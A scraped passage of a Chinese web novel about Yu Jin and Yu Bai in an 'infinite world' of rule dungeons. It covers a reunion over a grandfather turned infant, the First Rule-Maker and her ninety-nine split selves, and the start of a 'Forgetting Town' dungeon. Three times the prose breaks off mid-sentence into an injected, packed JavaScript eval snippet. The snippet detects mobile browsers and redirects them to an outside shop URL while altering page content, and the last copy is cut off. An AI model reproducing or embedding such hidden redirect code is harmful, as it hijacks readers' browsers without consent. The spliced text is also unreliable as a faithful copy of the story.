婴儿还抓着她的手指,嘴里“咿咿呀呀”的,像是在说什么。 “他说什么?”郁白问。 “我怎么知道?” “你不是会育儿经吗?” 虞锦看着他: “育儿经是安抚哭闹的婴儿,不是翻译婴儿语。” 郁白点点头,继续盯着婴儿: “那你猜猜。” 虞锦无奈,低头看着婴儿。 婴儿咿呀了一会儿,打了个哈欠,闭上眼睛,睡着了。 “……他困了。”虞锦说。 郁白笑了: “你看,猜对了。” 小镇还是那个小镇。 灰蒙蒙的天,破旧的房子,疯长的野草。 但这一次,虞锦觉得有点不一样。 哪里不一样? 她看了看四周—— 有人。 路上有人。 不是那种游荡的、空洞的“人”,是真的活人。 一个老太太坐在门口晒太阳,看到他们,点点头。一个小孩在路边玩泥巴,看到婴儿,好奇地凑过来看。一个中年男人挑着担子从田里回来,筐里装着新鲜的蔬菜。 “这是……”虞锦愣住了。 郁白也愣住了。 他上次来的时候,这里只有他爸一个人。 现在怎么—— “回来了?” 一个声音从前面传来。 郁白的父亲站在那栋破房子门口,拄着那根木棍,笑眯眯地看着他们。 但和上次不一样。 他的背没那么驼了。头发虽然还是白的,但比上次多了。脸上也有了点血色,不像上次那样灰败。 郁白看着他,半天没说话。 老人走过来,看看他,又看看虞锦怀里的婴儿。 “这是……”他问。 郁白张了张嘴,不知道怎么说。 虞锦替他说: “你爸。” 老人愣住了。 他看着那个婴儿,看了很久。 婴儿还在睡,小脸红扑扑的,嘴巴微微张着。 老人的眼眶慢慢红了。 “爸。”他轻声叫。 婴儿没反应。 他又叫了一声: “爸。” 婴儿翻了个身,继续睡。 老人笑了,笑得眼泪都出来了: “好,好。回来了就好。” 他伸手,想碰婴儿的脸,又缩回来,怕弄醒他。 “他怎么……变成这样了?”他问。 郁白沉默了几秒,把事情简单说了一遍。 老人听完,沉默了。 他看着那个婴儿,看了很久。 然后他说: “这样也挺好。” 郁白看着他: “挺好?” “嗯。”老人点头,“以前他那么凶,那么累,天天板着脸,好像全世界都欠他的。现在这样——多好。” 他伸出手,这次轻轻碰了碰婴儿的脸: “小脸蛋软软的,多好。” 郁白站在旁边,不知道该说什么。 老人抬头看他: “进屋吧。外面冷。” 屋子里比上次干净多了。 桌子擦过了,椅子修好了,床上铺着新被子。墙角还多了一个小火炉,上面坐着水壶,咕嘟咕嘟冒着热气。 “你收拾的?”郁白问。 老人点头: “你们走了之后,我闲着没事,就收拾收拾。想着你们下次来,能舒服点。” 他给郁白和虞锦倒了水,又去翻柜子,翻出一包东西。 是奶粉。 “我托人去镇上买的。”他说,“不知道你们什么时候回来,先备着。还有尿布,奶瓶,小衣服——都备了。” 郁白看着那些东西,愣住了: “你怎么知道……” “我不知道。”老人说,“但我想着,万一呢?万一你们带孩子回来呢?” 他笑了,笑得有点不好意思: “我也没什么用,只能做点这个。” 郁白看着他,看着那些奶粉尿布,看着那张笑着的脸。 他想起小时候,这个男人打他骂他,从不给他好脸色。 他想起他爸说“我不是个好爹”。 但现在,这个男人站在这里,给他们备好了奶粉尿布,等着他们回来。 郁白低下头。 虞锦看到他垂在身侧的手,握紧了,又松开。 婴儿醒了。 他睁开眼睛,看着这个陌生的地方,陌生的老人,瘪了瘪嘴,像是要哭。 老人赶紧凑过去: “哦哦哦,不哭不哭,爷爷在这儿。” 他伸出手,轻轻拍着婴儿的背。 婴儿看着他,不哭了。 然后他笑了。 那笑容,和郁白一模一样。 老人看着那个笑,眼眶又红了。 “他笑了。”他说,“他对我笑了。” 郁白站在旁边,看着这一幕。 他忽然觉得,也许这就是最好的结局。 不是原来的那个爷爷。 但也是一个爷爷。 能笑,能哭,能被抱在怀里。 晚上,他们在院子里吃饭。 老人煮了一大锅粥,炒了两个菜,还蒸了几个馒头。很简单,但热气腾腾的。 婴儿躺在旁边的摇篮里——老人用旧木头做的,摇起来咯吱咯吱响,但很稳。 月光很亮。 不是规则之城那种灰白的光,是真的月光,银白色的,洒在地上,像一层霜。 郁白端着碗,看着那月亮。 “这里的月亮,”他说,“和现实世界一样。” 虞锦也看着: “嗯。” “你以前在家的时候,看月亮吗?” 虞锦想了想: “看。但看得少。太忙了。” “忙什么?” “找工作,改简历,面试。”她说,“毕业就失业,你没经历过?” 郁白笑了: “没有。我一出生就在无限世界。” 虞锦看着他: “那你亏了。” “亏什么?” “亏了没看过真的月亮。”她说,“这里的月亮再像,也不是真的。” 郁白沉默了几秒。 然后他问: “你想回去吗?” 虞锦愣了一下: “什么?” “回现实世界。”他说,“你的家。你爸妈。真的月亮。” 虞锦没有立刻回答。 她想起妈妈做的饭,想起爸爸的沉默,想起那个小小的、乱乱的、但永远有人在等她的家。 “想。”她说,“但回不去。” 郁白看着她: “如果有一天能回去呢?” 虞锦转头,对上他的目光。 他的眼睛在月光下很亮。 “那你呢?”她问,“你回去吗?” 郁白想了想: “我不知道。我家在这儿。” 他看向那个摇篮,看向那个正在打瞌睡的老人: “他们在这儿。我走了,他们怎么办?” 虞锦没有说话。 郁白忽然笑了: “不过,如果你回去,我可以去看你。” “看我?” “嗯。”他说,“你不是说你家有真的月亮吗?我去看看。” 虞锦看着他。 看着他被月光照亮的脸。 她忽然觉得,这个人——这个被称为“神”的人——其实比谁都简单。 他想要的,不过是一个能一起看月亮的人。 “好。”她说,“到时候请你。” 郁白笑了。 那笑容,比月光还亮。 婴儿半夜醒了,哭得惊天动地。 郁白从床上跳起来,手足无措地站在摇篮边。 “他怎么了?” 老人披着衣服过来,看了看: “饿了。” “饿了怎么办?” 老人指了指奶粉: “冲奶啊。” 郁白看着那罐奶粉,有点懵: “怎么冲?” 老人也愣了: “你没冲过?” “没有。” 老人看看他,看看婴儿,叹了口气: “我来吧。” 他熟练地打开奶粉罐,舀了几勺,兑上温水,摇匀,滴在手腕上试了试温度。 “给。” 郁白接过奶瓶,笨拙地塞进婴儿嘴里。 婴儿立刻不哭了,咕嘟咕嘟喝起来。 郁白看着他喝奶的样子,忽然笑了。 “他喝奶的样子,”他说,“像我。” 老人也笑了: “你小时候也这样,饿的时候哭得震天响,一喝奶就老实。” 郁白看着婴儿: “我小时候……是什么样的?” 老人想了想: “皮。特别皮。会爬的时候就到处爬,会走的时候就到处跑。我追都追不上。” 他顿了顿: “但你也很乖。我难过的时候,你会爬到我腿上,坐着,不说话。就那么坐着。” 郁白没有接话。 老人看着他: “我对不起你。你小时候,我没好好对你。” 郁白低着头,看着怀里的婴儿。 婴儿喝完了奶,打了个嗝,又睡着了。 “过去了。”他说。 老人愣了一下: “什么?” 郁白抬起头,看着他: “那些事,过去了。” 老人看着他,眼眶慢慢红了。 “你不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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婴儿在他怀里,抓着胡子,咿咿呀呀的。 老人疼得龇牙,但还是在笑。 郁白看着他,忽然说: “爸。” 老人抬头。 “辛苦你了。” 老人愣了一下,然后笑了: “不辛苦。带孩子,怎么会辛苦?” 郁白点点头。 他转身,和虞锦一起,往镇外走。 走了几步,他回头看了一眼。 老人还站在门口,抱着婴儿,朝他们挥手。 婴儿也在挥,小手一抓一抓的。 郁白笑了。 他继续往前走。 虞锦走在他旁边。 “你爸好像年轻了。”她说。 郁白想了想: “可能是因为有事做了。” “什么事?” “等人。”他说,“等我们回去。” 虞锦点点头。 他们走远了。 小镇在身后,越来越小,最后消失在雾气里。 但那些笑声,那些阳光,那个抱着婴儿的老人—— 留在了心里。 回到规则之城,天已经黑了。 虞锦回到公寓,刚坐下,门铃响了。 她打开门。 林真站在门口,脸色很白。 “怎么了?”虞锦问。 林真看着她: “那个婴儿——郁白的爷爷——不是唯一一个‘散掉’的人。” 虞锦皱眉: “什么意思?” 林真深吸一口气: “你走之后,我又下了一次最底层。那里还有更多的玻璃柜。每一个里面都有一个‘散掉’的人。” 她顿了顿: “我数了。一共九十九个。” 虞锦的瞳孔微微收缩。 九十九个。 和永生病房的编号一样。 和那些永生者的数量一样。 “他们是谁?”她问。 林真摇头: “我不知道。但有一个——” 她拿出手机,递给虞锦。 屏幕上是一张照片。 一个玻璃柜。 柜子里躺着一个女人。 很年轻,二十出头,长头发,闭着眼睛,嘴角带着淡淡的笑容。 那张脸—— 和虞锦一模一样。 虞锦愣住了。 “这是……” 林真看着她,声音发紧: “第一任规则制定者。” 虞锦的心跳漏了一拍。 第一任。 躺在最底层。 和郁白的爷爷一样,“散掉”了? “她还活着吗?”她问。 林真摇头: “不知道。她的生命体征很弱,若有若无。但——” 她顿了顿: “她的眼角,有一滴眼泪。” 虞锦看着那张照片。 那个女人,闭着眼睛,安安静静地躺着。 眼角,确实有一滴泪。 很小,很淡,但在镜头下看得清清楚楚。 她还活着。 她还在哭。 她—— 在等谁? 15. 完美基因 那双眼睛睁开的时候,虞锦以为自己在照镜子。 不是比喻,是真的像照镜子。 一样的眼型,一样的弧度,一样的睫毛——连睫毛的密度和长度都一样。 但那眼睛里装的东西不一样。 虞锦的眼睛里是警惕,是审视,是面对未知时本能的戒备。 那双眼睛里是疲惫。 是看过了太多、经历了太多、再也提不起任何情绪的疲惫。 像是两口枯井,深不见底,但井底什么都没有。 “你终于来了。” 她的嘴唇动了,但没有声音。 但虞锦听到了。 不是从耳朵里听到的,是从脑子里——直接响起的。 【叮!检测到未知精神链接。】 【链接来源:第一任规则制定者(休眠状态)】 【链接强度:极弱】 【提示:她可能撑不了太久。】 虞锦站在玻璃柜前,看着那双和自己一模一样的眼睛。 “你……听得见我说话吗?”她在心里问。 那双眼睛眨了一下。 听得见。 “你为什么在这里?” 没有回答。 “那些玻璃柜里的人是谁?” 还是没有回答。 但她的眼睛看向旁边——看向那一排排发光的玻璃柜。 虞锦顺着她的目光看过去。 九十九个玻璃柜,九十九束光,九十九个沉睡的人。 那些光越来越亮,亮到刺眼。 然后—— 第一个玻璃柜的门,开了。 一个人从里面走出来。 很老很老的女人,白发苍苍,脸上全是皱纹。她穿着白色的长袍,赤着脚,踩在冰冷的地面上。 她睁开眼睛,看向虞锦。 那双眼睛—— 虞锦愣住了。 那是她在永生病房里见过的眼睛。 那个活了三百年的女人。 “你……”虞锦开口。 老女人笑了: “又见面了。” 她走向第二个玻璃柜。 那个柜子的门也开了。 走出来的是一个中年男人,穿着灰色的病号服,脸上带着一种空茫的、不知身在何处的表情。 他看向虞锦,眨了眨眼,然后走向第三个柜子。 第三个柜子开了。 第四个。 第五个。 第六个。 一个一个,像多米诺骨牌,像连锁反应,像某种古老的仪式。 虞锦站在原地,看着那些人从玻璃柜里走出来。 有老的,有少的,有男的,有女的。 有她见过的——永生病房的病人,完美基因的模板,精神病院的影子。 有她没见过的——陌生的脸,陌生的表情,陌生的眼神。 但他们走出来之后,都做同一件事: 看向她。 然后走向她身后。 虞锦转身。 第一任的玻璃柜前,已经站满了人。 九十九个人,围成一个半圆,面对着那个玻璃柜。 他们不说话,不动,只是看着。 看着里面那个沉睡的女人。 看着她眼角那滴一直没有落下的泪。 整个地下室安静得可怕。 然后,那滴泪落了。 顺着她的脸颊滑下来,滴在玻璃柜里,发出一声很轻很轻的—— “滴答”。 玻璃柜的门,开了。 第一任规则制定者,从里面走了出来。 她站在众人面前,赤着脚,穿着和虞锦一模一样的衣服——白色T恤,浅蓝色牛仔裤,一双已经脏了的小白鞋。 她的脸和虞锦一模一样。 但她的眼神不一样。 那是活了几百年、看着所有人死去、自己却死不了的人才会有的眼神。 她看着那些人,一个一个看过去。 看到那个活了三百年的女人,她笑了一下。 看到那个从精神病院出来的影子,她点了点头。 看到那些她不认识的人,她微微怔了怔,然后低下头。 最后,她看向虞锦。 她们面对面站着。 两个一模一样的女人。 一个活了几百年。 一个活了二十几年。 一个创造了这个世界。 一个正在改变这个世界。 “你来了。”第一任开口,声音很轻,很沙哑,像很久没说过话。 虞锦看着她: “你一直在等我?” 第一任点头。 “等了多久?” 第一任想了想: “不知道。很久。久到忘了时间。” 她看着虞锦,眼睛里有一点光在闪: “但我等到了。” 虞锦沉默了几秒。 然后她问: “这些人是谁?” 第一任看向那些围着她的人: “她们是我。” 虞锦愣住了。 “什么?” 第一任抬起手,指向那个活了三百年的女人: “那是我的一部分。代表‘怕死’。” 指向那个从精神病院出来的影子: “那是我的一部分。代表‘想家’。” 指向一个她不认识的中年女人: “那是我的一部分。代表‘愤怒’。” 指向一个年轻的女孩: “那是我的一部分。代表‘希望’。” 她一个一个指过去,一个一个说过去。 九十九个人,九十九个部分。 怕死的,想家的,愤怒的,希望的,绝望的,贪婪的,善良的,自私的,勇敢的,懦弱的—— 九十九种人性。 九十九种她自己。 “我是完整的。”第一任说,“但我把完整打碎了。因为完整的我,承受不了那些痛苦。” 她看着虞锦: “你知道吗,活着最痛苦的不是死不了。是你要一个人承受所有的自己——所有的恐惧,所有的悔恨,所有的思念,所有的绝望。” 她指了指那九十九个人: “我把它们分出去,让它们替我承受。这样我就能轻松一点。” 虞锦看着她: “那你现在为什么又把它们召回来?” 第一任沉默了几秒。 然后她说: “因为你来了。” “我?” “嗯。”第一任点头,“你来了,我就不用躲了。” 她走近一步,看着虞锦的眼睛: “你是另一个我。一个没有经历过这些的我。干净的,完整的,还有希望的。看到你,我就知道——” 她顿了顿: “我知道,如果当年我没有选错,我会活成什么样。” 虞锦看着她,看着她眼睛里的疲惫,看着她眼角那滴刚流过的泪痕。 她忽然明白了一件事: 这个人不是神。 她只是一个承受了太多、最后撑不住的人。 她把自己分成九十九份,让它们替她受苦。 她自己沉睡在最底层,等着—— 等着什么? “你在等什么?”虞锦问。 第一任看着她: “等你来杀我。” 整个地下室安静得能听见呼吸声。 那些“部分”们站在周围,一动不动,像雕塑。 虞锦看着第一任,看着她平静的眼睛。 “杀你?” “嗯。”第一任点头,“我活够了。但我杀不死自己——规则是我定的,规则里没有‘自杀’这一条。” 她笑了一下,很淡: “我以为会有人来杀我。那些恨我的,那些被我困住的,那些因为我失去一切的。我等了很久,等他们来。” 她低下头: “但他们都没来。他们恨我,但他们更怕我。” 她抬起头,看着虞锦: “只有你。你不怕我。” 虞锦没有说话。 “你第一次进精神病院的时候,我就知道是你。”第一任说,“你和那些玩家不一样。你不躲,不跑,不尖叫。你只是看,然后想,然后做。” 她走近一步: “你做的那些事,我都看到了。安抚鬼婴,感化林晓,救周明远,改永生病房的规则,带林真的妹妹出来,帮郁白找爷爷——” 她顿了顿: “你做的,都是我想做但没做的事。” 虞锦看着她: “那你为什么不做?” 第一任笑了,笑得很苦: “因为我累了。我做了太久,做不动了。” 她指着那九十九个人: “我把它们分出去,就是因为我不想再做了。让它们替我感受,让它们替我痛苦,让它们替我活着。我只想睡。” 她看着虞锦: “但你来了之后,我发现我睡不着了。” “为什么?” “因为你在做。”第一任说,“你在做我该做的事。你在帮我赎罪。你让我觉得——” 她低下头: “你让我觉得,也许我还不能死。” 虞锦沉默了。 很久。 然后她问: “那你到底想不想死?” 第一任抬起头,看着她。 她的眼睛里有泪光在闪: “想。也不想。” “什么意思?” 第一任深吸一口气: “想死,是因为我累了。不想死,是因为——” 她看向那九十九个人: “是因为她们。我把她们分出去,让她们替我受苦。但她们也是我。如果我死了,她们也会死。” 那个活了三百年的女人走过来,站在她身边: “我们不怕死。” 第一任看着她: “但我不想让你们死。” 那个从精神病院出来的影子也走过来: “我们本来就是从你身上分出来的。没有你,就没有我们。” 第一任的眼睛红了: “可是——” “没有可是。”那个影子说,“你活了多久,我们就活了多久。你累了,我们也累了。一起死,挺好。” 其他的人,一个一个,都走过来。 围成一个圈,把第一任围在中间。 她们看着她,不说话。 但那种眼神—— 那种眼神,虞锦见过。 在郁白看他爷爷的时候。 在林真看她妹妹的时候。 在周明远画他母亲的时候。 那是爱。 九十九份,都是爱。 第一任站在那里,被她们围着,眼泪终于流下来。 “我……”她张了张嘴,说不出话。 虞锦看着她。 看着这个创造了世界、制定了规则、活了几百年、把自己分成九十九份的女人。 她忽然问: “你女儿叫什么名字?” 第一任愣住了。 “什么?” “你女儿。”虞锦说,“那个死了的孩子。她叫什么?” 第一任的眼泪流得更凶了: “她叫……她叫……” 她说不出来。 她忘了。 活了太久,忘了女儿的名字。 那九十九个人围着她,轻轻拍她的背。 “没关系。”那个活了三百年的女人说,“忘了也没关系。” “我记得。”那个从精神病院出来的影子说,“她叫小暖。” 第一任看着她: “你记得?” “嗯。”影子点头,“你把她分给我了。让我替你记着她。” 第一任抱住她,哭得像个孩子。 虞锦站在旁边,看着这一幕。 她忽然想起那个替身室里的小婴儿。 那个用第一任女儿的基因造出来的空壳。 她想起老人说的话: “也许等有一天,有人愿意要它,我就给它。一个有爱的地方。也许那样,它就能学会什么是爱。” 她开口: “你女儿有一个替身。” 第一任猛地抬头。 “什么?” “在替身室。”虞锦说,“你爸守着她。用你女儿的基因造出来的,一模一样。但她没有灵魂。” 第一任愣住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367279|199466||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没有灵魂……” “嗯。”虞锦说,“你爸说,也许有一天,有人愿意要她,给她一个有爱的地方,她就能学会什么是爱。” 第一任站在原地,一动不动。 然后她笑了。 那是虞锦第一次看到她真正的笑。 不是疲惫,不是苦涩,而是—— 温暖。 “我爸……”她喃喃道,“他还在。” “在。”虞锦说,“在最底层。守着那个孩子。” 第一任看着她,眼泪一直流,但笑得很开心: “谢谢。” “不用。” 第一任深吸一口气,擦了擦眼泪。 她看向那九十九个人: “你们想见那个孩子吗?” 她们互相看看,然后点头。 第一任笑了: “那就一起去。” 她转身,走向那扇通往更深处的门。 九十九个人跟在后面。 虞锦站在原地,看着她们。 走到门口,第一任回头: “你不来吗?” 虞锦想了想: “我在这儿等你们。” 第一任点点头: “好。” 她推开门,走进去。 九十九个人,一个一个,消失在门后。 门缓缓关上。 地下室重新安静下来。 只剩下虞锦一个人,和那些空了的玻璃柜。 她站在那里,忽然觉得—— 这个世界,也许没那么糟。 因为有人在等。 有人在爱。 有人在替别人记着那些被遗忘的事。 不知道过了多久,门又开了。 第一任走出来,怀里抱着一个婴儿。 那个婴儿——虞锦见过。 在替身室里,蜷缩着,闭着眼睛。 但现在,她睁着眼睛,看着这个世界。 看到虞锦,她笑了。 那笑容,和第一任一模一样。 后面跟着那九十九个人,一个一个,脸上都带着笑。 第一任走到虞锦面前: “她叫小暖。” 虞锦看着那个婴儿。 婴儿伸出手,抓住她的手指。 小小的手,软软的,暖暖的。 “她喜欢你。”第一任说。 虞锦低头,看着那只小手。 她想起郁白的爷爷,想起那个变成婴儿的老人。 她想起郁白抱着他的样子,想起他说“我养你”。 她想起林真和她妹妹,想起她们在街上看光柱的样子。 她想起周明远,想起他在黄昏里画母亲的样子。 她想起很多人。 很多在等的人。 很多被等的人。 “你打算怎么办?”她问第一任。 第一任想了想: “活着。把她们养大。” 她看着怀里的婴儿,看着身后那九十九个人: “她们需要我。我也需要她们。” 虞锦点点头。 第一任看着她: “你呢?” 虞锦愣了一下: “我什么?” “你还要找复活机制吗?” 虞锦沉默了几秒。 然后她说: “不了。” “为什么?” 虞锦看着那个婴儿,看着那些人: “因为她们教会我一件事。” “什么事?” “复活不存在。”虞锦说,“但活着就够了。” 第一任看着她,笑了: “你长大了。” 虞锦也笑了: “可能吧。” 从最底层出来,天已经亮了。 虞锦站在基因优化中心门口,看着那些来来往往的人。 他们还是戴着面具一样的笑容。 但不知道是不是错觉,她总觉得那些笑容,比之前真实了一点。 林真跑过来,喘着气: “怎么样?下面发生了什么?我感觉到震动——” 虞锦看着她,看着她身后那个正在看光柱的妹妹。 “没什么。”她说,“只是有人回家了。” 林真愣了一下: “回家?” 虞锦点头: “嗯。回家。” 她往前走。 走到林真身边的时候,她停下: “你妹妹今天怎么样?” 林真回头看了一眼: “她今天学会说‘姐姐’了。” “说的什么?” 林真笑了: “姐姐。” 虞锦也笑了: “挺好的。” 她继续往前走。 身后传来林真的声音: “虞锦——谢谢。” 虞锦没回头,只是抬起手,挥了挥。 回到公寓,她躺在床上,看着天花板。 脑子里有很多东西在转。 第一任,九十九个人,小暖,郁白,他爷爷,他爸,林真,她妹妹,周明远—— 还有那些还没去过的副本。 那些还在等的人。 她闭上眼睛。 门铃响了。 她走过去开门。 郁白站在门口,手里拿着一个煎饼果子。 “吃吗?”他问。 虞锦看着那个煎饼,上面有他的牙印。 “你又吃一半给我?” 郁白笑了: “这次是新的。没咬过。” 虞锦接过来,咬了一口。 热的。 “你怎么来了?”她问。 郁白看着她: “我爸让我问你,下次什么时候去?” 虞锦愣了一下: “什么?” “他说你也是家人。”郁白说,“让我带你回去吃饭。” 虞锦看着他。 他的眼睛在阳光下很亮。 “好。”她说。 郁白笑了。 他们站在门口,一个吃煎饼,一个看着。 阳光落下来,不暖,也不冷。 刚刚好。 16. 完美基因 邀请函是手写的。 和之前那封一样,墨迹有些晕开,像是写的人写到最后手抖了一下。 但这一次的落款不一样: “第一任的第九十九个部分——‘遗忘’。” 虞锦盯着那行字看了很久。 第九十九个。 那个站在最外围、一句话都没说、只是静静看着第一任的女人。 她有一张很普通的脸,普通到让人记不住。眼睛不大不小,鼻子不高不矮,嘴唇不厚不薄——放在人群里,转眼就会被忘记。 但现在,她寄来了这封信。 “我在遗忘小镇等你。这里有你想知道的一切。” 遗忘小镇。 那个据说每个人都会失忆的地方。 虞锦把信收进口袋,站起身。 走到门口,她又停下来。 回头看了一眼房间里那些东西——床,桌子,椅子,窗外的光柱。 她忽然有一种奇怪的感觉。 好像这一去,会很久。 好像回来的时候,有些东西会不一样。 但她还是推开门,走了出去。 【叮——欢迎进入S级副本:遗忘小镇。】 【副本难度:S】 【副本类型:生存+解谜】 【任务:找回自己。】 【特殊规则:在这里,每一天你都会忘记一些东西。第一天忘记名字,第二天忘记来处,第三天忘记目的,第四天——忘记自己是谁。】 白光闪过。 虞锦睁开眼睛。 她站在一条街上。 很老的老街,青石板路,两边是木结构的房子,门口挂着灯笼。远处有山,近处有水,空气里飘着一股淡淡的花香。 像江南水乡,像梦里才会出现的地方。 但街上没有人。 不对——有人。 一个老人坐在门口,晒着太阳,闭着眼睛,像是睡着了。 虞锦走过去: “您好。” 老人睁开眼睛,看着她: “你是谁?” 虞锦愣了一下: “我叫虞锦。” 老人点点头,又闭上眼睛: “虞锦是谁?” 虞锦张了张嘴,不知道该怎么回答。 老人已经睡着了。 她继续往前走。 一个中年女人在井边打水,动作很慢,很机械。 “您好。”虞锦走过去,“请问这里是——” 女人抬起头,看着她,眼神空洞: “你是谁?” “我叫虞锦。” “虞锦是谁?” “我是……”虞锦顿了顿,“我是来这里的。” 女人点点头,继续打水。 打了三下,又抬起头: “你是谁?” 虞锦沉默了。 她终于明白这个副本的规则了。 这些人,都不记得。 不记得自己,不记得别人,不记得刚才发生的事。 每一天,每一刻,都在遗忘。 她继续往前走。 街上的人越来越多,但每个人都是一样的——做着重复的事,问着重复的问题,然后转眼就忘。 她走到一座桥边。 桥头站着一个女人。 背对着她,穿着白色的裙子,头发很长,被风吹起来。 那个背影—— 虞锦见过。 在精神病院,在完美基因底层,在那些玻璃柜前。 “遗忘。”她叫。 女人慢慢转过身。 那张脸,虞锦不认识。 很普通,普通到记不住。 但那双眼睛—— 那双眼睛里,装着很多东西。 是疲惫,是孤独,是看了太久太久、什么都不想再看的那种空。 “你来了。”她说,声音很轻,“我以为你不会来。” 虞锦走到她面前: “你叫我来,有什么事?” 女人看着她,没有回答。 她只是抬起手,指向河对岸: “你看。” 虞锦顺着她的手指看过去。 河对岸是一座山,山上有一座塔。 塔是白色的,在阳光下泛着光。 “那是哪里?” “那里,”女人说,“是所有记忆消失的地方。” 她转头看着虞锦: “也是我住的地方。” 她们过了桥,沿着山路往上走。 路很窄,两边是竹林,风吹过的时候沙沙地响。 女人走在前面,走得很慢,像是每一步都要想很久。 虞锦跟在后面,没有说话。 走了很久,她忽然开口: “你为什么会是‘遗忘’?” 女人没有回头: “因为我记得太多。” “记得太多,为什么会变成遗忘?” 女人停下脚步。 她转过身,看着虞锦: “你知道记得太多是什么感觉吗?” 虞锦想了想: “不知道。” 女人笑了,笑得很轻: “记得太多的人,最后都会想忘。因为记着太累了。” 她继续往前走: “第一任把我分出来的时候,说‘你去忘吧。忘掉那些不该记的。’我就来了这儿。” “那你还记得什么?” 女人沉默了几秒。 然后她说: “记得一个人。” “谁?” 女人没有回答。 她们已经走到了塔前。 塔是白色的,很旧,墙上爬满了藤蔓。门是木头的,虚掩着,里面黑漆漆的。 女人推开门,走进去。 虞锦跟在后面。 塔里面比她想象的大。 空空的,什么都没有。 只有一束光,从塔顶的窗户照下来,落在地上。 光里站着一个人。 一个男人。 背对着她们,穿着白色的长袍,头发很长,披散着。 虞锦看不清他的脸。 但那个背影—— 她见过。 在很多地方。 在郁白身上,在郁白父亲身上,在郁白爷爷身上。 一样的肩宽,一样的腰身,一样的—— “他是谁?”她问。 女人走到那个男人身边,轻轻碰了碰他的手。 男人慢慢转过身。 那张脸—— 虞锦愣住了。 是郁白。 又不是郁白。 一样的眉眼,一样的轮廓,但更老,更疲惫,眼睛里什么都没有。 “他是郁白的……”她开口。 “哥哥。”女人说,“郁白的哥哥。” 虞锦的瞳孔收缩。 郁白有哥哥? 从来没说过。 从来没提过。 “他怎么会在这儿?” 女人看着那个男人,眼睛里有一种很复杂的情绪: “因为他想忘。” “忘什么?” 女人沉默了很久。 然后她说: “忘掉他爱的人。” 男人站在光里,一动不动,像一尊雕塑。 但他的眼睛在动。 他看着虞锦,看了很久。 然后他开口,声音沙哑得像很久没说过话: “你是谁?” 虞锦张了张嘴,不知道该怎么回答。 她是谁? 她是虞锦。 但这个名字,对他来说有意义吗? “她是来找你的。”女人替他回答。 男人看着她,眨了眨眼: “找我?为什么?” 虞锦也不知道为什么。 她只是收到了邀请函,就来了。 但现在看着这个男人,她忽然有一种奇怪的感觉—— 她应该来。 应该见到他。 应该知道他的故事。 “你叫什么名字?”她问。 男人想了想,摇头: “忘了。” “你记得什么?” 他又想了想: “记得一个人。一个女人。很漂亮。笑起来有两个酒窝。” 他低下头: “但我忘了她是谁。” 虞锦看着他。 看着他空荡荡的眼睛,看着他努力回忆却什么都想不起来的样子。 她想起永生病房里那些说“让我死”的人。 想起完美基因里那些戴着假笑面具的人。 想起精神病院里那些叫“妈妈”的病人。 他们都一样。 都在承受着什么。 都承受不住了。 “她是你爱的人?”虞锦问。 男人想了想: “应该是。” “为什么是应该?” “因为想起来的时候,这里会疼。”他指了指自己的心口。 虞锦沉默了。 她忽然明白这个副本的意义了。 不是让人遗忘。 是让人记住。 记住那些即使忘了、心里还会疼的人。 从塔里出来,天已经黑了。 女人站在门口,看着天上的星星。 “这里的星星,和现实世界一样。”她说。 虞锦抬头看。 确实一样。 北斗七星,北极星,银河——都在。 “你带我来,不只是为了让我见他吧?”虞锦问。 女人转头看着她: “你猜对了。” 她从口袋里拿出一样东西,递给虞锦。 是一本日记。 很旧,封皮都磨破了。 “这是他的。”女人说,“在他开始遗忘之前写的。” 虞锦接过日记,翻开。 第一页: “今天认识了一个女孩。她说她叫小念。笑起来有两个酒窝。” 第二页: “小念说她也喜欢我。我想我是这世上最幸福的人。” 第三页: “我们订婚了。戒指是我妈留下的。她戴上很好看。” 第四页: “小念病了。医生说治不好。” 第五页: “我求第一任救她。第一任说可以,但要我用一样东西换。” 第六页: “我用记忆换了她的命。从今天起,我会慢慢忘记她。但没关系,她活着就好。” 第七页往后,全是空白。 虞锦合上日记。 她看着那个男人——那个站在光里、忘了自己是谁、但心里还会疼的人。 “他换的,”她问,“是全部记忆?” 女人摇头: “不是全部。是‘关于她的记忆’。但他不知道,关于她的记忆,就是他的全部。” 虞锦沉默了。 她想起郁白。 想起他抱着爷爷的样子,想起他说“我养你”,想起他在月光下问她“你会来救我吗”。 如果有一天,他也要这样选—— 用记忆换她的命。 他会吗? 她知道答案。 会。 就像这个男人一样。 就像周明远一样。 就像林真一样。 就像所有爱着的人一样。 “你想让我做什么?”她问。 女人看着她: “让他想起来。” “为什么?” “因为,”女人说,“她还在等他。” 女人带她去了另一个地方。 山脚下,一间小屋。 屋里亮着灯,窗口有一个女人的影子。 她们走近。 透过窗户,虞锦看到里面有一个女人。 很年轻,二十出头,长头发,瓜子脸。 她坐在轮椅上,手里拿着一本书,但眼睛看着窗外。 看着山上的那座塔。 “她就是小念。”女人说。 虞锦看着那张脸。 确实有两个酒窝。 虽然她不笑,但酒窝还在。 “她怎么在这儿?” “她活了。”女人说,“用他的记忆换的。但她活过来之后,发现他不见了。她找了好久,找到这里。然后她就一直在这儿等着。” “等他想起她?” “等他下来。”女人说,“他每天都会站在塔里,看着窗外。她每天都会坐在这里,看着塔里。但他们谁都不知道。” 虞锦看着那个女人。 看着她看塔的眼神。 那眼神里没有埋怨,没有后悔,只有一种很安静的东西。 是在等。 是知道等不到、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 